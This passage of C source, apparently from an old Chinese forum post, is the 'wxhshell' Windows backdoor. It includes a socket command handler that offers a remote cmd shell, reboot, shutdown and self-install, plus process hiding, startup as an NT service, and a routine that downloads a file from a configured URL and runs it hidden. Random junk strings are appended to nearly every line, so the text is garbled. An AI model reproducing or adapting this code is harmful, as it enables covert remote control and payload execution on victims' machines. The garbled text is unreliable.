  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V' Gal`  
  } *doNPp)m  
  else { [9 W@<p  
Smr{+m a  
    switch(cmd[0]) { 3v/B*M VI  
  OT9]{|7  
  // 帮助 zLpCKndj  
  case '?': { K~N$s "Qx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &mwd0%4  
    break; E/P~HE{  
  } O>~,RI!  
  // 安装 i%hCV o  
  case 'i': { WsI`!ez;D  
    if(Install()) !@xO]Jwv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vy\Vpp  
    else >|$]=e,Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l<6u@,%s  
    break; @(3F4Z.i%.  
    } >f(?Mxh2  
  // 卸载 `o[l%I\Q  
  case 'r': { Dac)`/  
    if(Uninstall()) b 7UJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /jY u-H+C  
    else i"^>sk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T] zEcx+e  
    break; ^*K=wE}AG  
    } r|Ui1f5  
  // 显示 wxhshell 所在路径 (}: s[cs  
  case 'p': { 1Kg0y71"  
    char svExeFile[MAX_PATH]; a`xq h2P  
    strcpy(svExeFile,"\n\r"); G]^[i6PQs  
      strcat(svExeFile,ExeFile); B,%Vy!o  
        send(wsh,svExeFile,strlen(svExeFile),0); dY*q[N/pO  
    break; MdHm%Vx  
    } JU 9GJ"  
  // 重启 22gh!F%)  
  case 'b': { oBzl=N3<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *{g3ia  
    if(Boot(REBOOT)) 3H,E8>Vd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +P/kfY"  
    else { W(,j2pU  
    closesocket(wsh); 3/G^V'Yu  
    ExitThread(0); 34@[ZKJ5  
    } 8v4}h9*F"7  
    break; S c)^k  
    } _?{7%(C  
  // 关机 JJ?{V:  
  case 'd': { Ei;tfB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C|'DKT4M&  
    if(Boot(SHUTDOWN)) ([>ecS@eO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hXW` n*Zw  
    else { /%wS5IZ^  
    closesocket(wsh); iI3:<j l  
    ExitThread(0); J2UQq7-y  
    } q7R]!zk  
    break; gFDnt  
    } ]%Q!%uTh  
  // 获取shell k6G _c;V  
  case 's': {  T]#V  
    CmdShell(wsh); <`H0i*|Ued  
    closesocket(wsh); ll:UIxx  
    ExitThread(0); ZnG.::&:  
    break; V Z(/g"9  
  } YOCEEh?  
  // 退出 $.G 7Vt  
  case 'x': { Dl,QCZeM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9&6juL  
    CloseIt(wsh); %uW  =kr  
    break; gP^2GnjHL8  
    } Dg&84,bv^  
  // 离开 jL VJ+mu  
  case 'q': { 1W^hPY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y<)TYr  
    closesocket(wsh); vOQ% f?%G\  
    WSACleanup(); @Nu2 :~JO  
    exit(1); 91-bz^=xO  
    break; Up9{aX  
        } s#2t\}/  
  } %fS9F^AK  
  } 9}573M  
_fAgp_)  
  // 提示信息 DaQ"Df_X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n 8cA8<  
} #c"eff  
  } lCi{v.  
mU'<:gL+  
  return; RNg?o [S  
} 96=<phcwN[  
]WT@&F  
// shell模块句柄 u9lZHh#V-  
int CmdShell(SOCKET sock) la!]Y-s)'4  
{ Y.:R-|W  
STARTUPINFO si; h2l;xt  
ZeroMemory(&si,sizeof(si)); $ Y/9SD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0;Z|:\P\=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Mf>X\}  
PROCESS_INFORMATION ProcessInfo; PEMkx"h +  
char cmdline[]="cmd"; 9 {4yC9Oz>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \kADh?phV  
  return 0; sNf& "C!;  
}   f XD+  
KA3U W  
// 自身启动模式 d} >Po%r:  
int StartFromService(void) 4l D$'`  
{  q+P@2FL  
typedef struct .)Tj}Im2p  
{ q"2QNF'  
  DWORD ExitStatus; v.0qE}' |  
  DWORD PebBaseAddress; MKK ^-T  
  DWORD AffinityMask; g \mE  
  DWORD BasePriority; N0`9/lr|  
  ULONG UniqueProcessId; nt.LiM/L  
  ULONG InheritedFromUniqueProcessId; QX,$JM3  
}   PROCESS_BASIC_INFORMATION; kZ]H[\Fs  
GP:<h@:798  
PROCNTQSIP NtQueryInformationProcess; xtV+Le%  
e`*}?N4d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /dnwN7Gf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b)w cGBS  
2u{~35  
  HANDLE             hProcess; w)btv{*  
  PROCESS_BASIC_INFORMATION pbi; k"wQ9=HP7  
:]3X Ez  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vl^(K_`(  
  if(NULL == hInst ) return 0; ~!S3J2kG{  
)^(*B6;z5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zxk~X}K\P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ts]e M1;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1 ZdB6U0  
WQ|:TLQ  
  if (!NtQueryInformationProcess) return 0; J^!;$Hkd  
;vx5 =^7P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3m1g"  
  if(!hProcess) return 0; JWVV?~1  
JK,MK|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )p& g!qA  
{Jr1K,  
  CloseHandle(hProcess); &L|oqXE0L  
q'3{M]Tk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mz?<t/$U  
if(hProcess==NULL) return 0; d^=BXC oC  
>w,L=z=  
HMODULE hMod; RTtKf i}  
char procName[255]; C{)1#<`  
unsigned long cbNeeded; C6+ 5G-Z  
O\}C`CiC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YAi-eL67l  
{v={q1  
  CloseHandle(hProcess); _H]\  
@T1G#[C~t  
if(strstr(procName,"services")) return 1; // 以服务启动 "Ih3  
HU0.)tD  
  return 0; // 注册表启动 #G9 W65f  
} sz7*x{E  
kc'$4 J4Tw  
// 主模块 %VHy?!/  
int StartWxhshell(LPSTR lpCmdLine) (leX` SN0u  
{ @N'n>8Wn  
  SOCKET wsl; [9E~=A#  
BOOL val=TRUE; \PX4>/d@y  
  int port=0; vu0Ql1  
  struct sockaddr_in door; G?Et$r7:R  
`kKssU<  
  if(wscfg.ws_autoins) Install(); 8}%F`=Y0  
=vThtl/azD  
port=atoi(lpCmdLine); c[@_t.%)  
{X,%GI  
if(port<=0) port=wscfg.ws_port; sG g458  
Bwg(f_[1  
  WSADATA data; uHbg&eW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v>X!/if<y  
EEe$A?a;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DYX{v`>f^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .ARYCTyG  
  door.sin_family = AF_INET; bW yimr&B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FvT&nb{  
  door.sin_port = htons(port); &1 \/B  
,GOIg|51  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rFzNdiY  
closesocket(wsl); W]4Z4&  
return 1; zDF Nx:h  
} GrF4*I`q  
aZZ0eH  
  if(listen(wsl,2) == INVALID_SOCKET) { ^sv|m"  
closesocket(wsl); &X4anH>O  
return 1; @52#ZWy  
} w4 yrAj 2  
  Wxhshell(wsl); S2X@t>u-  
  WSACleanup(); 1$cl "d`~  
KXKT5E$  
return 0; VuLb9Kn  
Qt u;_  
} rrIyZ@_d9  
A}fm).Wp@  
// 以NT服务方式启动 hs6pp/h>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M+"6VtZH  
{ #p+iwW-  
DWORD   status = 0; HDm]njF%qQ  
  DWORD   specificError = 0xfffffff; eP~bl   
4Kqo>|C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]($ \7+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !ooi.Oz*Tu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '}agi.z  
  serviceStatus.dwWin32ExitCode     = 0; w4L()eP#?=  
  serviceStatus.dwServiceSpecificExitCode = 0; hcVu`Bn  
  serviceStatus.dwCheckPoint       = 0; k?=1q[RQH  
  serviceStatus.dwWaitHint       = 0; Om.%K>V  
/gAT@Vx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^f[6NYS?  
  if (hServiceStatusHandle==0) return; P9!awLM-  
he|Q (?  
status = GetLastError(); "{<X! ^u>  
  if (status!=NO_ERROR) qrMED_(D  
{ ~+.=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z ]f(lwo{  
    serviceStatus.dwCheckPoint       = 0; #-|fdcb  
    serviceStatus.dwWaitHint       = 0; ]m_x;5s $  
    serviceStatus.dwWin32ExitCode     = status; %oBP6|e  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2poo@]M/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f@}> :x  
    return; f y2vAwl  
  } w|dfl *  
ss-W[|cHU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (]w6q&,  
  serviceStatus.dwCheckPoint       = 0; tE %g)hL-  
  serviceStatus.dwWaitHint       = 0; AojL4H|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y\v#qFVOZ  
} ~\=D@G,9  
7U7!'xU  
// 处理NT服务事件,比如:启动、停止 8#!g;`~ D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A%#M#hD/  
{ sOqFEvzo1%  
switch(fdwControl) ^i@anbH  
{ Tm^kZuT{  
case SERVICE_CONTROL_STOP: ~q`f@I  
  serviceStatus.dwWin32ExitCode = 0; ;*?>w|t}w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SM~~:  
  serviceStatus.dwCheckPoint   = 0; gk%01&_>4  
  serviceStatus.dwWaitHint     = 0; V u")%(ix  
  { )\yK61aX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6UCF w>  
  } 0"7+;(\1Rk  
  return; 2hV -h  
case SERVICE_CONTROL_PAUSE: ?|,:;^2l1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H+*3e&  
  break; 6uD<E  
case SERVICE_CONTROL_CONTINUE: F'MX9P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4prJ!k  
  break; (uX?XX^  
case SERVICE_CONTROL_INTERROGATE: {.Qv1oOa  
  break; 4T@+gy^.  
}; a~Dk@>+P>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `h'+4  
} 0n:cmML )D  
l%}q&_  
// 标准应用程序主函数 bci]"uzB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <M\&zHv  
{ he(K   
E5i5gE"\  
// 获取操作系统版本 N]F RL\K  
OsIsNt=GetOsVer(); }$i"t8"s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mr7Oi `dE  
D>k(#vYKB  
  // 从命令行安装 XQ~Xls%]   
  if(strpbrk(lpCmdLine,"iI")) Install(); Q z(n41@`  
G,>YzjMY`  
  // 下载执行文件 \k5"&]I3  
if(wscfg.ws_downexe) { {9(0s| pr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -ED} 6E  
  WinExec(wscfg.ws_filenam,SW_HIDE); y pEMx'p  
} k.C&6*l!5;  
} E ]l4N2  
if(!OsIsNt) { #b/L~Bw[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ' pgP QM<  
HideProc(); ZBDF>u@  
StartWxhshell(lpCmdLine); JPF6zzl)  
} *rTg>)  
else &|Wqzdo?#  
  if(StartFromService()) 7j)ky2r#  
  // 以服务方式启动 GXxI=,L8F  
  StartServiceCtrlDispatcher(DispatchTable); Xfg3q.q  
else t Cb34Wpf  
  // 普通方式启动 n UmyPQ~  
  StartWxhshell(lpCmdLine); c5%}* "z  
Gtaa^mnxD  
return 0; j4,y+ 9U  
}
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只看该作者 1 发表于: 2006-10-10
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